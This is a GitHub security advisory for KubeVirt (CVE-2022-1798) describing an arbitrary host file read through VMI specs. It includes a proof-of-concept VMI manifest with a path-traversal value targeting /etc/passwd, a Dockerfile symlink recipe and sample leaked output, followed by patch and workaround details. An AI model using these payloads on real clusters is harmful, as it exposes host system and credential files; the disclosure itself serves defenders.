kubevirt / **kubevirt** Public

Code Issues 173 Pull requests 141 Actions Projects Wiki ...

# Arbitrary file read on host

High **rmohr** published **GHSA-qv98-3369-g364** on Sep 14

Package

**kubevirt** (KubeVirt)

| Affected versions | Patched versions |
|---|---|
| 0.20 >= x <= 0.55.0 | 0.55.1 |

Description

## Impact

Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:

1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: `spec.domain.firmware.kernelBoot.container.kernelPath`, `spec.domain.firmware.kernelBoot.container.initrdPath` as well as `spec.volumes[*].containerDisk.path`.

Example:

```
apiVersion: [kubevirt.io/v1](http://kubevirt.io/v1)
kind: VirtualMachineInstance
metadata:
  name: vmi-fedora
spec:
  domain:
    devices:
      disks:
      - disk:
          bus: virtio
        name: containerdisk
      - disk:
          bus: virtio
        name: cloudinitdisk
      - disk:
          bus: virtio
        name: containerdisk1
      rng: {}
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - containerDisk:
      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirro
    name: containerdisk
  - containerDisk:
      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirro
      path: test3/../../../../../../../../etc/passwd
    name: containerdisk1
  - cloudInitNoCloud:
      userData: |
        #!/bin/sh
        echo 'just something to make cirros happy'
    name: cloudinitdisk
```

2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:

```
FROM <anybase>
RUN mkdir -p /etc/ && touch /etc/passwd
RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img
```

3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.

In all three cases it is then possible to at lest read any host file:

```
$ sudo cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]
```

## Patches

KubeVirt 0.55.1 provides patches to fix the vulnerability.

## Workarounds

- Ensure that the `HotplugVolumes` feature-gate is disabled
- ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that `spec.domain.firmware.kernelBoot` is not used on VirtualMachineInstances.|
- Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).

## References

Disclosure notice form the discovering party: GHSA-cvx8-ppmc-78hm

## For more information

For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:

- #8198
- #8268

## Credits

Oliver Brooks and James Klopchic of NCC Group
Diane Dubois and Roman Mohr of Google

### Severity

High

### CVE ID

CVE-2022-1798

### Weaknesses

No CWEs

### Credits

rmohr

0xdidu